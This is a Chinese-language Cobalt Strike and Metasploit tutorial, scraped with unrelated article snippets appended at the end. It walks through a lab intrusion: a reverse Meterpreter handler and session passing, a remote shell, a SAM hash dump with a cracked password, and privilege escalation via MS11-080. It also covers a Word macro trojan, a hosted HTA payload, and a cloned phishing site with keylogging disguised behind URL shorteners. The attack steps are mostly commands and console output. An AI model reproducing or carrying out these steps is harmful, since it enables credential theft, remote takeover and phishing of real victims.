滲透測試工具Cobalt strike-2.CS基礎使用

三、結合metasploit,反彈shell

??在kali中開啟使用命令開啟metasploit

msfconsole
┌──(root?oldboy)-[~]
└─# msfconsole
---
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
---
msf6 exploit(multi/handler) > show optionsModule options (exploit/multi/handler):Name  Current Setting  Required  Description----  ---------------  --------  -----------Payload options (generic/shell_reverse_tcp):Name   Current Setting  Required  Description----   ---------------  --------  -----------LHOST                   yes       The listen address (an interface may be specified)LPORT  4444             yes       The listen portExploit target:Id  Name--  ----0   Wildcard Target---
msf6 exploit(multi/handler) > set lhost 10.0.0.200
lhost => 10.0.0.200
---msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
---
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
---

在靶機中
使用Cobalt Strike創建一個windows/foreign/reverse_tcp的Listener。其中ip為Metasploit的ip地址(10.0.0.200),端口為Metasploit所監聽的端口(7777)。

開始攻擊,建立會話:

msf6 exploit(multi/handler) > run[*] Started HTTP reverse handler on http://10.0.0.200:7777
[!] http://10.0.0.200:7777 handling request from 10.0.0.101; (UUID: 2sotjla4) Without a database connected that payload UUID tracking will not work!
[*] http://10.0.0.200:7777 handling request from 10.0.0.101; (UUID: 2sotjla4) Staging x86 payload (176220 bytes) ...
[!] http://10.0.0.200:7777 handling request from 10.0.0.101; (UUID: 2sotjla4) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.0.0.200:7777 -> 127.0.0.1) at 2024-05-28 21:41:00 +0800----
meterpreter > shell
Process 1152 created.
Channel 1 created.
Microsoft Windows [�汾 5.2.3790]
(C) ��?���� 1985-2003 Microsoft Corp.C:\Documents and Settings\Administrator\����>ipconfig
ipconfigWindows IP ConfigurationEthernet adapter ��������:Connection-specific DNS Suffix  . : IP Address. . . . . . . . . . . . : 10.0.0.101Subnet Mask . . . . . . . . . . . : 255.255.255.0Default Gateway . . . . . . . . . : 10.0.0.254C:\Documents and Settings\Administrator\����>

如果有其他的主機上線,在增加會話中選擇msf(的端口),該上線主機也能反彈shell
這樣我們就可以利用metaspliot中的相關工具,進行進一步滲透。

?滲透:

C:\Documents and Settings\Administrator\����>^C
Terminate channel 1? [y/N]  y
--------------------------------------------------
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions -iActive sessions
===============Id  Name  Type                 Information           Connection--  ----  ----                 -----------           ----------1         meterpreter x86/win  OLDBOY-F74D04FE\Admi  10.0.0.200:7777 -> 1dows                 nistrator @ OLDBOY-F  27.0.0.1 (10.0.0.10174D04FE               )msf6 exploit(multi/handler) > search ms17-010Matching Modules
================#  Name                                      Disclosure Date  Rank     Check  Description-  ----                                      ---------------  ----     -----  -----------0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code ExecutionInteract with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce                                        msf6 exploit(multi/handler) > use ...

msf6 exploit(multi/handler) > sessions -iActive sessions
===============Id  Name  Type                 Information           Connection--  ----  ----                 -----------           ----------1         meterpreter x86/win  OLDBOY-F74D04FE\Admi  10.0.0.200:7777 -> 1dows                 nistrator @ OLDBOY-F  27.0.0.1 (10.0.0.10174D04FE               )
------------
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...----------
meterpreter > hashdump
123:1015:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
ASPNET:1006:31ca4e307dc8dd4939d0ac34166cf041:47acc6d9ea07e60931e2a49bb6433aae:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_OLDBOY-F74D04FE:1003:bc210210ecc96be6fd0522aa8ea96524:23561981a86db65e75fd296999b95667:::
IWAM_OLDBOY-F74D04FE:1004:cac4a79fa775cb9b8665ee4c08ed3930:8856078abf69a2bb27f287b8afde005b:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:03ebb3c522071ac94b606f483fc10157:::
meterpreter > 

如:Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::?

哈希值:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

解碼:123456?

哈希值可通過cmd5解碼:?

?幫助:

meterpreter > ?Core Commands
=============Command                   Description-------                   -----------?                         Help menubackground                Backgrounds the current sessionbg                        Alias for backgroundbgkill                    Kills a background meterpreter scriptbglist                    Lists running background scriptsbgrun                     Executes a meterpreter script as a backgroundthreadchannel                   Displays information or control active channelsclose                     Closes a channeldetach                    Detach the meterpreter session (for http/https)disable_unicode_encoding  Disables encoding of unicode stringsenable_unicode_encoding   Enables encoding of unicode stringsexit                      Terminate the meterpreter sessionget_timeouts              Get the current session timeout valuesguid                      Get the session GUIDhelp                      Help menuinfo                      Displays information about a Post moduleirb                       Open an interactive Ruby shell on the currentsessionload                      Load one or more meterpreter extensionsmachine_id                Get the MSF ID of the machine attached to thesessionmigrate                   Migrate the server to another processpivot                     Manage pivot listenerspry                       Open the Pry debugger on the current sessionquit                      Terminate the meterpreter sessionread                      Reads data from a channelresource                  Run the commands stored in a filerun                       Executes a meterpreter script or Post modulesecure                    (Re)Negotiate TLV packet encryption on the sessionsessions                  Quickly switch to another sessionset_timeouts              Set the current session timeout valuessleep                     Force Meterpreter to go quiet, then re-establish sessionssl_verify                Modify the SSL certificate verification settingtransport                 Manage the transport mechanismsuse                       Deprecated alias for "load"uuid                      Get the UUID for the current sessionwrite                     Writes data to a channelStdapi: File system Commands
============================Command       Description-------       -----------cat           Read the contents of a file to the screencd            Change directorychecksum      Retrieve the checksum of a filecp            Copy source to destinationdel           Delete the specified filedir           List files (alias for ls)download      Download a file or directoryedit          Edit a filegetlwd        Print local working directorygetwd         Print working directorylcat          Read the contents of a local file to the screenlcd           Change local working directorylls           List local fileslpwd          Print local working directoryls            List filesmkdir         Make directorymv            Move source to destinationpwd           Print working directoryrm            Delete the specified filermdir         Remove directorysearch        Search for filesshow_mount    List all mount points/logical drivesupload        Upload a file or directoryStdapi: Networking Commands
===========================Command       Description-------       -----------arp           Display the host ARP cachegetproxy      Display the current proxy configurationifconfig      Display interfacesipconfig      Display interfacesnetstat       Display the network connectionsportfwd       Forward a local port to a remote serviceresolve       Resolve a set of host names on the targetroute         View and modify the routing tableStdapi: System Commands
=======================Command       Description-------       -----------clearev       Clear the event logdrop_token    Relinquishes any active impersonation token.execute       Execute a commandgetenv        Get one or more environment variable valuesgetpid        Get the current process identifiergetprivs      Attempt to enable all privileges available to the currentprocessgetsid        Get the SID of the user that the server is running asgetuid        Get the user that the server is running askill          Terminate a processlocaltime     Displays the target system local date and timepgrep         Filter processes by namepkill         Terminate processes by nameps            List running processesreboot        Reboots the remote computerreg           Modify and interact with the remote registryrev2self      Calls RevertToSelf() on the remote machineshell         Drop into a system command shellshutdown      Shuts down the remote computersteal_token   Attempts to steal an impersonation token from the targetprocesssuspend       Suspends or resumes a list of processessysinfo       Gets information about the remote system, such as OSStdapi: User interface Commands
===============================Command        Description-------        -----------enumdesktops   List all accessible desktops and window stationsgetdesktop     Get the current meterpreter desktopidletime       Returns the number of seconds the remote user has been idlekeyboard_send  Send keystrokeskeyevent       Send key eventskeyscan_dump   Dump the keystroke bufferkeyscan_start  Start capturing keystrokeskeyscan_stop   Stop capturing keystrokesmouse          Send mouse eventsscreenshare    Watch the remote user desktop in real timescreenshot     Grab a screenshot of the interactive desktopsetdesktop     Change the meterpreters current desktopuictl          Control some of the user interface componentsStdapi: Webcam Commands
=======================Command        Description-------        -----------record_mic     Record audio from the default microphone for X secondswebcam_chat    Start a video chatwebcam_list    List webcamswebcam_snap    Take a snapshot from the specified webcamwebcam_stream  Play a video stream from the specified webcamStdapi: Audio Output Commands
=============================Command       Description-------       -----------play          play a waveform audio file (.wav) on the target systemPriv: Elevate Commands
======================Command       Description-------       -----------getsystem     Attempt to elevate your privilege to that of local system.Priv: Password database Commands
================================Command       Description-------       -----------hashdump      Dumps the contents of the SAM databasePriv: Timestomp Commands
========================Command       Description-------       -----------timestomp     Manipulate file MACE attributes

上面使用的哈希值: meterpreter > hashdump


cs提權

右擊執行--提取--選擇攻擊方式--

執行成功--自動新建會話提權為SYSTEM:

?建議在msf進行提權(使用use exploit/windows/local模塊)payload較cs強大

?

msf提權大致流程 :

┌──(root?oldboy)-[~]
└─# msfconsole
-------msf6  >use exploit/windows/local19   exploit/windows/local/mqac_write                                        2014-07-22       average    Yes    MQAC.sys Arbitrary Write Privilege Escalation20   exploit/windows/local/ms11_080_afdjoinleaf                              2011-11-30       average    No     MS11-080 AfdJoinLeaf Privilege Escalation21   exploit/windows/local/ms13_005_hwnd_broadcast                           2012-11-27       excellent  No     MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation
----------------
msf6 > use exploit/windows/local/ms11_080_afdjoinleaf
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms11_080_afdjoinleaf) > show options Module options (exploit/windows/local/ms11_080_afdjoinleaf):Name     Current Setting  Required  Description----     ---------------  --------  -----------SESSION  3                yes       The session to run this module onPayload options (windows/meterpreter/reverse_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  thread           yes       Exit technique (Accepted: '', seh,thread, process, none)LHOST     10.0.0.200       yes       The listen address (an interface may be specified)LPORT     4444             yes       The listen portExploit target:Id  Name--  ----0   Automaticmsf6 exploit(windows/local/ms11_080_afdjoinleaf) > sessions -iActive sessions
===============Id  Name  Type                 Information           Connection--  ----  ----                 -----------           ----------1         meterpreter x86/win  OLDBOY-F74D04FE\Admi  10.0.0.200:7777 -> 1dows                 nistrator @ OLDBOY-F  27.0.0.1 (10.0.0.10174D04FE               )2         meterpreter x86/win  OLDBOY-F74D04FE\Admi  10.0.0.200:7777 -> 1dows                 nistrator @ OLDBOY-F  27.0.0.1 (10.0.0.10174D04FE               )3         meterpreter x86/win  NT AUTHORITY\SYSTEM   10.0.0.200:4444 -> 1dows                 @ OLDBOY-F74D04FE     0.0.0.101:1844 (10.0.0.101)msf6 exploit(windows/local/ms11_080_afdjoinleaf) > run[*] Started reverse TCP handler on 10.0.0.200:4444 
[*] Running against Windows Server 2003 SP2
[-] This meterpreter session is already running as SYSTE
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/ms11_080_afdjoinleaf) > 

?步驟解讀:

  1. 嘗試切換到exploit/windows/local目錄,查看payload模塊。
  2. 選擇了exploit/windows/local/ms11_080_afdjoinleaf模塊,Metasploit自動設置了payload為windows/meterpreter/reverse_tcp,這是該模塊需要的payload類型。
  3. 查看了模塊和payload的選項,確認了設置的session為3,監聽的IP地址為10.0.0.200,端口為4444。
  4. 使用sessions -i命令列出所有活動的Meterpreter會話。可以看到有三個會話,其中第3個會話是SYSTEM權限的。
  5. 嘗試運行exploit/windows/local/ms11_080_afdjoinleaf模塊,但收到錯誤消息[-] This meterpreter session is already running as SYSTEM,這意味著攻擊者已經在具有SYSTEM權限的會話(session 3)中,所以嘗試通過該漏洞進一步提權是不必要的,因為權限已經是最高的了。
  6. 最后,Metasploit確認了漏洞利用過程完成,但沒有創建新的會話,這通常是由于權限已經達到最高,無需再提升。

office宏payload應用

環境:虛擬機windows-xp? office2003? ? cs軟件

第一步、生成office

?

第二步,把cs生成的代碼放到word宏里面去?

?原內容刪除粘貼cs宏木馬--保存--關閉

?編輯文件內容后--保存關閉?

cs 生成的代碼直接放到創建里面去,注意:做試驗的時候,宏的位置不要設置所有的活動模板和文檔,建議應用在當前文檔,不然本機所有word文檔運行都會種上你的木馬,另外打開word文檔有宏提示,一般是word默認禁用所有宏(高版本:文件—選項—信任中心—信任中心設置里面配置;低版本:工具-選項-安全性-宏安全性-選擇低)。?

?

?打開文件:

?成功監聽:?


hta網頁掛馬

HTA是HTML Application的縮寫(HTML應用程序),是軟件開發的新概念,直接將HTML保存成HTA的格式,就是一個獨立的應用軟件,與VBC++等程序語言所設計的軟件界面沒什么差別。

?把生成的evil.hta上傳到cs服務器端:

cs客戶端--攻擊--釣魚攻擊--文件下載:

?填寫evil.hta文件位置進行上傳--URL根目錄下evil.hta--主機地址:服務器主機IP--端口自定義--Mime默認:

生成的網站:

http://10.0.0.200:89/evil.hta

查找上傳服務器文件位置:

cs服務器端kali2022(IP:10.0.0.200)?

┌──(root?oldboy)-[~]
└─# cd /root/cobaltstrike4┌──(root?oldboy)-[~/cobaltstrike4]
└─# ls
手冊                crackInfo.txt  keytool.exe         peclone
agscript            cs.bat         Ladon               Scripts
c2lint              csnat          Ladon911            teamserver
cobaltstrike.auth   csnat.rar      libicmp64.so        teamserver.bat
cobaltstrike.bat    cs.sh          libicmp.so          third-party
CobaltStrikeCN.jar  data           libtapmanager64.so  uploads
cobaltstrike.jar    ElevateKit     libtapmanager.so
cobaltstrike.store  icon.jpg       logs┌──(root?oldboy)-[~/cobaltstrike4]
└─# cd /root/cobaltstrike4/uploads┌──(root?oldboy)-[~/cobaltstrike4/uploads]
└─# ls
evil.hta

?克隆網站:

(如果之前設置過釣魚頁面,記得一定要刪掉,不然會克隆的時候會報錯)

?

?生成的網站:

http://10.0.0.200:88/

?

?通過在線平臺生成短鏈接:

1、https://uutool.cn/dwz/

?2、https://www.metools.info/master/shorturl180.html

生成的短鏈接:

https://3mw.cn/11fa2

?需受害者手工點擊保留下載后點擊文件運行:

?

?運行后成功監控:

克隆網站選擇了開啟鍵盤記錄,視圖--web日志查看鍵盤記錄:


?

聲明:

  • 此文章只做技術研究,謹遵守國家相關法律法規,請勿用于違法用途,如果您對文章內容有疑問,可以嘗試留言私信,如有侵權請聯系小編處理。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/19157.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/19157.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/19157.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

[10] CUDA程序性能的提升 與 流

CUDA程序性能的提升 與 流 1. CUDA程序性能的提升 在本節中,我們會看到用來遵循的基本的一些性能來提升準則,我們會逐一解釋它們1.1 使用適當的塊數量和線程數量 研究表明,如果塊的數量是 GPU 的流多處理器數量的兩倍,則會給出最佳性能,不過,塊和線程的數量與具體的算法…

什么是訪問控制漏洞

什么是AC Bugs? 實驗室 Vertical privilege escalation 僅通過隱藏目錄/判斷參數來權限控制是不安全的(爆破url/爬蟲/robots.txt/Fuzz/jsfinder) Unprotected functionality 訪問robots.txt 得到隱藏目錄,訪問目錄 ,…

基于Visual Studio版本的AI編程助手

Visual Studio 是一個出色的 IDE,可用于構建適用于 Windows、Mac、Linux、iOS 和 Android 的豐富、精美的跨平臺應用程序。 使用一系列技術(例如 WinForms、WPF、WinUI、MAUI 或 Xamarin)構建豐富。 1、安裝 點擊上方工具欄拓展選項,選擇管理拓展選項 接著在聯機頁面中搜索&q…

基于51單片機的室內空氣質量檢測-仿真設計

本設計是基于單片機的空氣質量檢測設計,主要實現以下功能: 可實現通過SGP30測量二氧化碳及甲醛濃度,當超過設置的最大值時,進行報警及通風和凈化空氣處理 可實現通過MQ-4測量甲烷濃度,當超過設置的最大值時&#xff0…

壓力測試JMeter

壓力測試JMeter 1 下載JMeter1.1 測試計劃1.2 JMeter Address Already in use 錯誤解決1.3 java 內存模型1.4 jconsole與jvisualvm1.5 優化方向1.6 Nginx動靜分離 1 下載JMeter 官網地址:https://jmeter.apache.org/download_jmeter.cgi 運行apache-jmeter-5.6.3\…

HaloDB 的 Oracle 兼容模式

↑ 關注“少安事務所”公眾號,歡迎?收藏,不錯過精彩內容~ 前傾回顧 前面介紹了“光環”數據庫的基本情況和安裝辦法。 哈嘍,國產數據庫!Halo DB! 三步走,Halo DB 安裝指引 ★ HaloDB是基于原生PG打造的新一代高性能安…

代碼隨想錄訓練營Day 43|力扣343. 整數拆分、96.不同的二叉搜索樹

1.整數拆分 代碼隨想錄 視頻講解:動態規劃,本題關鍵在于理解遞推公式!| LeetCode:343. 整數拆分_嗶哩嗶哩_bilibili 代碼: class Solution { public:int integerBreak(int n) {// dp[i] 拆分數字i所獲得的最大乘積為d…

景源暢信:抖音小店如何開櫥窗?

在當今數字化時代,社交媒體平臺不僅僅是人們交流和分享生活的工具,更成為了商家們展示和銷售產品的重要場所。抖音作為一款流行的短視頻社交應用,其內置的電商功能——抖音小店,為眾多商家和個人提供了便捷的在線銷售途徑。其中&a…

使用NuScenes數據集生成ROS Bag文件:深度學習與機器人操作的橋梁

在自動駕駛、機器人導航及環境感知的研究中,高質量的數據集是推動算法發展的關鍵。NuScenes數據集作為一項開源的多模態自動駕駛數據集,提供了豐富的雷達、激光雷達(LiDAR)、攝像頭等多種傳感器數據,是進行多傳感器融合…

Go語言 gRPC 簡述

參考文章 grpc-我們為什么要用gRpc?gRpc快在哪里?_grpc 優點-CSDN博客 GRPC詳解-CSDN博客 1. 什么是gRPC gRPC 是一個高性能 遠程調用(RPC)框架,屏蔽分布式計算中的各種調用細節,可以像本地調用一樣調用遠程的函數。 2. 為什么要…

jmeter多用戶并發登錄教程

有時候為了模擬更真實的場景,在項目中需要多用戶登錄操作,大致參考如下 jmx腳本:百度網盤鏈接 提取碼:0000 一: 單用戶登錄 先使用1個用戶登錄(先把1個請求調試通過) 發送一個登錄請求&…

貪心(臨項交換)+01背包,藍橋云課 搬磚

一、題目 1、題目描述 2、輸入輸出 2.1輸入 2.2輸出 3、原題鏈接 0搬磚 - 藍橋云課 (lanqiao.cn) 二、解題報告 1、思路分析 將物品按照w[i] v[i]升序排序然后跑01背包就是答案 下面證明:(不要問怎么想到的,做題多了就能想到&#xff…

AVB協議分析(一) FQTSS協議介紹

FQTSS協議介紹 一、AVB整體架構二、概述三、協議作用及作用對象四、協議的實現五、參考文獻: 一、AVB整體架構 可見FQTSS位于MAC層的上面,代碼看不懂,咱們就從最底層開始,逐層分析協議,逐個擊破,慢就是快。…

基于GO 寫的一款 GUI 工具,M3u8視頻下載播放器-飛鳥視頻助手

M3u8視頻下載播放器-飛鳥視頻助手 M3u8視頻飛鳥視頻助手使用m3u8下載m3u8 本地播放 軟件下載地址m3u8嗅探 M3u8視頻 M3u8視頻格式是為網絡視頻播放設計,視頻網站多數采用 m3u8格式。如騰訊,愛奇藝等網站。 m3u8和 mp4的區別: 一個 mp4是一個…

【PB案例學習筆記】-12秒表實現

寫在前面 這是PB案例學習筆記系列文章的第11篇,該系列文章適合具有一定PB基礎的讀者。 通過一個個由淺入深的編程實戰案例學習,提高編程技巧,以保證小伙伴們能應付公司的各種開發需求。 文章中設計到的源碼,小凡都上傳到了gite…

Python3 筆記:math模塊

要使用 math 函數必須先導入math模塊 語法:import math Python math 模塊提供了許多對浮點數的數學運算函數。 math 模塊下的函數,返回值均為浮點數,除非另有明確說明。 如果需要計算復數,需使用 cmath 模塊中的同名函數。 m…

【2.文件和目錄相關(下)】

一、查看文件內容命令 1、cat 文件名:用于顯示文件內容,比如 cat test.c。 (1)cat -b test.c 表示加行號顯示文件內容。 (2)cat -s test.c 表示多個空行合并成一個空行顯示。 2、nl 文件名:…

2024 京麟ctf -MazeCodeV1

文章目錄 檢查代碼思路一個字節的指令注意附上S1uM4i佬們的exp https://www.ctfiot.com/184181.html 檢查 代碼 __int64 __fastcall check_solve(char *a1) {__int64 result; // rax__int64 v2; // rax__int64 index_step; // rax__int64 v4; // rax__int64 v5; // rax__int64…

vb.net,C#強制結束進程,“優雅”的退出方式

在VB.NET中,Application.Exit()和Environment.Exit(0)都用于結束程序,但它們的使用場景和背后的邏輯略有不同。 **Application.Exit()**: Application.Exit()通常用于Windows Forms應用程序中。當調用Application.Exit()時,它會觸…

cocos 屏幕點擊坐標轉換為節點坐標

let scPos event.getLocation(); let camera find(Canvas/Camera).getComponent(Camera).screenToWorld(new Vec3(scPos.x,scPos.y,0));//攝像機 let p this.node.getComponent(UITransform).convertToNodeSpaceAR(camera);//this.node為指定的節點為原點(0,0&…